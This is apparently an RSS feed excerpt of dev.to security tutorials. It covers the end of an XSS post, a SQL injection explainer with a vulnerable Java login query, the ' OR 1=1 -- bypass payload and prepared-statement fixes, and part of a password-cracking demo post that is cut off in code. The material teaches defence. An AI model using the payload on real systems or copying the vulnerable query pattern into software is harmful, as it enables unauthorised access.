&lt;p&gt;XSS is dangerous because it doesn’t attack your server directly — it attacks your users through your application.&lt;/p&gt;

&lt;p&gt;If your application renders user input without proper encoding, you’re handing attackers control of your users’ browsers.&lt;/p&gt;

&lt;p&gt;In XSS, the attacker doesn’t break your system — they use it against your users.&lt;/p&gt;

&lt;p&gt;Always treat user input as data — never as code.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>websecurity</category>
      <category>javascript</category>
      <category>xss</category>
    </item>
    <item>
      <title>SQL Injection Explained: How Hackers Bypass Login Forms (and How to Stop Them)</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Sat, 25 Apr 2026 03:46:21 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/sql-injection-explained-how-hackers-bypass-login-forms-and-how-to-stop-them-1gll</link>
      <guid>https://dev.to/sanjayghosh/sql-injection-explained-how-hackers-bypass-login-forms-and-how-to-stop-them-1gll</guid>
      <description>&lt;p&gt;Even today, a single poorly written SQL query can allow an attacker to bypass authentication or expose sensitive data.&lt;/p&gt;

&lt;p&gt;And the scary part? It often comes down to just one line of code.&lt;/p&gt;

&lt;p&gt;In the previous articles, we saw how small implementation decisions can introduce serious vulnerabilities. SQL Injection is one of the clearest examples of this—simple to understand, yet still widely exploited.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is SQL Injection?
&lt;/h3&gt;

&lt;p&gt;SQL Injection occurs when &lt;strong&gt;untrusted user input is included directly in a SQL query&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Instead of being treated as data, the input is interpreted as part of the SQL command itself. This allows attackers to manipulate queries and control how the database behaves.&lt;/p&gt;

&lt;h3&gt;
  
  
  How SQL Injection Works
&lt;/h3&gt;

&lt;p&gt;Consider a typical login query:&lt;br&gt;
&lt;code&gt;SELECT * FROM users &lt;br&gt;
WHERE username = 'input' AND password = 'input';&lt;/code&gt;&lt;br&gt;
The application expects input to be normal user data.&lt;/p&gt;

&lt;p&gt;But what if an attacker provides this instead?&lt;br&gt;
&lt;code&gt;' OR 1=1 --&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;OR 1=1 → always true&lt;/li&gt;
&lt;li&gt;-- → comments out the rest of the query
👉 The database ends up executing a modified query that ignores authentication checks.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  A Simple Login Bypass Example (Java)
&lt;/h4&gt;

&lt;p&gt;Let’s look at how this vulnerability often appears in real code.&lt;/p&gt;

&lt;h4&gt;
  
  
  ❌ Vulnerable Implementation
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"username"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"SELECT * FROM users WHERE username = '"&lt;/span&gt; 
             &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"' AND password = '"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"'"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="nc"&gt;Statement&lt;/span&gt; &lt;span class="n"&gt;stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;createStatement&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="nc"&gt;ResultSet&lt;/span&gt; &lt;span class="n"&gt;rs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;stmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeQuery&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  ⚠️ What’s the problem?
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;User input is directly concatenated into the SQL query&lt;/li&gt;
&lt;li&gt;No separation between &lt;strong&gt;code&lt;/strong&gt; and &lt;strong&gt;data&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;The database cannot distinguish between intended query logic and attacker input&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  💥 Attack Input
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;username: admin&lt;br&gt;
password: ' OR 1=1 --&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  💣 Resulting Query
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;SELECT * FROM users &lt;br&gt;
WHERE username = 'admin' AND password = '' OR 1=1 --'&lt;/code&gt;&lt;br&gt;
👉 The condition OR 1=1 is always true, so the query returns results regardless of the password.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;: Authentication is bypassed.&lt;/p&gt;

&lt;h4&gt;
  
  
  Real-World Impact
&lt;/h4&gt;

&lt;p&gt;SQL Injection is not just theoretical—it can lead to serious consequences:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Unauthorized login (authentication bypass)&lt;/li&gt;
&lt;li&gt;Exposure of sensitive data&lt;/li&gt;
&lt;li&gt;Modification or deletion of database records&lt;/li&gt;
&lt;li&gt;Full database compromise&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  How to Prevent SQL Injection
&lt;/h4&gt;

&lt;p&gt;Preventing SQL Injection is straightforward—but only if done correctly.&lt;/p&gt;

&lt;h4&gt;
  
  
  ✅ 1. Use Prepared Statements (Java)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"SELECT * FROM users WHERE username = ? AND password = ?"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;pstmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;pstmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;pstmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="nc"&gt;ResultSet&lt;/span&gt; &lt;span class="n"&gt;rs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pstmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeQuery&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;👉 Why this works:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Query structure is fixed&lt;/li&gt;
&lt;li&gt;User input is treated strictly as data, not executable SQL&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  ✅ 2. Use ORM Frameworks (JPA / Hibernate)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;User&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;userRepository&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;findByUsernameAndPassword&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;👉 ORMs generate parameterized queries internally, which helps reduce the risk of SQL injection when used correctly.&lt;/p&gt;

&lt;h4&gt;
  
  
  ✅ 3. Input Validation (Defense-in-Depth)
&lt;/h4&gt;

&lt;p&gt;Limit input length&lt;br&gt;
Restrict allowed characters&lt;/p&gt;

&lt;p&gt;⚠️ Important: Input validation alone is not sufficient to prevent SQL Injection.&lt;br&gt;
Most SQL injection vulnerabilities don’t happen because developers don’t know about them — they happen because of small shortcuts taken under time pressure.&lt;/p&gt;

&lt;h4&gt;
  
  
  ✅ 4. Principle of Least Privilege
&lt;/h4&gt;

&lt;p&gt;Database users should have only the permissions they need&lt;br&gt;
Avoid using admin/root credentials for application access&lt;/p&gt;

&lt;h4&gt;
  
  
  Common Mistakes to Avoid
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Relying only on input validation&lt;/li&gt;
&lt;li&gt;Manually escaping strings instead of using parameterized queries&lt;/li&gt;
&lt;li&gt;Trusting frontend validation&lt;/li&gt;
&lt;li&gt;Logging raw queries with sensitive data&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Final Thoughts
&lt;/h4&gt;

&lt;p&gt;SQL Injection isn’t a complex attack—it’s usually the result of a simple coding mistake.&lt;/p&gt;

&lt;p&gt;But its impact can be severe.&lt;/p&gt;

&lt;p&gt;As a developer, the takeaway is clear:&lt;br&gt;
👉 Never trust user input&lt;br&gt;
👉 Always separate data from code&lt;/p&gt;

&lt;p&gt;Small decisions in how you write queries can determine whether your application is secure—or completely exposed.&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>webdev</category>
      <category>sql</category>
    </item>
    <item>
      <title>Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples)</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Sun, 19 Apr 2026 18:54:23 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/authentication-security-deep-dive-from-brute-force-to-salted-hashing-with-java-examples-mc8</link>
      <guid>https://dev.to/sanjayghosh/authentication-security-deep-dive-from-brute-force-to-salted-hashing-with-java-examples-mc8</guid>
      <description>&lt;p&gt;What if I told you that even if you hash passwords, an attacker might still crack them in seconds?&lt;/p&gt;

&lt;p&gt;Authentication is one of the most critical parts of any application—and also one of the most misunderstood.&lt;/p&gt;

&lt;p&gt;In this post, we’ll think like an attacker, break insecure implementations using Java examples, and then progressively strengthen our defenses using &lt;strong&gt;hashing and salting&lt;/strong&gt;.&lt;br&gt;
If you’ve ever stored a password using only hashing, your system may still be vulnerable.&lt;/p&gt;
&lt;h3&gt;
  
  
  🧠 1. Why Authentication Security Matters
&lt;/h3&gt;

&lt;p&gt;When authentication fails, everything fails:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Account takeover&lt;/li&gt;
&lt;li&gt;Data breaches&lt;/li&gt;
&lt;li&gt;Privilege escalation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To build secure systems, we must first understand how attackers operate.&lt;/p&gt;
&lt;h3&gt;
  
  
  ⚔️ 2. How Attackers Break Authentication
&lt;/h3&gt;
&lt;h4&gt;
  
  
  (i). Brute Force Attack
&lt;/h4&gt;

&lt;p&gt;Attacker tries all possible passwords until one works.&lt;br&gt;
👉 Works because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Users choose weak passwords&lt;/li&gt;
&lt;li&gt;Systems don’t limit attempts&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;
  
  
  (ii). Dictionary Attack
&lt;/h4&gt;

&lt;p&gt;Instead of all combinations, attacker uses a list of common passwords:&lt;br&gt;
&lt;code&gt;123456&lt;br&gt;
password&lt;br&gt;
admin&lt;br&gt;
welcome123&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  (iii). Rainbow Table Attack
&lt;/h4&gt;

&lt;p&gt;Attacker precomputes hashes:&lt;br&gt;
&lt;code&gt;password → hash1&lt;br&gt;
admin    → hash2&lt;/code&gt;&lt;br&gt;
Then instantly matches stolen hashes.&lt;br&gt;
👉 Extremely fast if no salt is used&lt;/p&gt;
&lt;h4&gt;
  
  
  (iv). Session Attacks (brief)
&lt;/h4&gt;

&lt;p&gt;Focus on hijacking authenticated sessions (cookies, tokens).&lt;br&gt;
👉 Important, but outside this blog’s main focus.&lt;/p&gt;
&lt;h3&gt;
  
  
  🔴 3. Thinking Like an Attacker: Breaking Weak Authentication
&lt;/h3&gt;
&lt;h4&gt;
  
  
  3.1 Brute Force Simulation (Java)
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.auth&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;BruteForceDemo&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;actualPassword&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"1234"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;9999&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%04d"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Trying: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;actualPassword&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"==&amp;gt; Password found: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;👉 This works because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Password is short and predictable&lt;/li&gt;
&lt;li&gt;No rate limiting&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;
  
  
  3.2 Hashing Alone is NOT Enough
&lt;/h4&gt;

&lt;p&gt;Let’s say system stores:&lt;br&gt;
&lt;code&gt;hash(password)&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Java Example&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.auth&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.security.MessageDigest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;HashAttackDemo&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;MessageDigest&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;MessageDigest&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"SHA-256"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;digest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;digest&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

        &lt;span class="nc"&gt;StringBuilder&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;StringBuilder&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;digest&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%02x"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;storedHash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;guesses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"123456"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"admin"&lt;/span&gt;&lt;span class="o"&gt;};&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;guesses&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;storedHash&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"==&amp;gt; Cracked: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;👉 Even though password is hashed, attacker can still:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Hash guesses&lt;/li&gt;
&lt;li&gt;Compare results&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  3.3 Rainbow Table Attack (Precomputation)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.auth&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.security.MessageDigest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.HashMap&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.Map&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;RainbowTableDemo&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;MessageDigest&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;MessageDigest&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"MD5"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;digest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;digest&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

        &lt;span class="nc"&gt;StringBuilder&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;StringBuilder&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
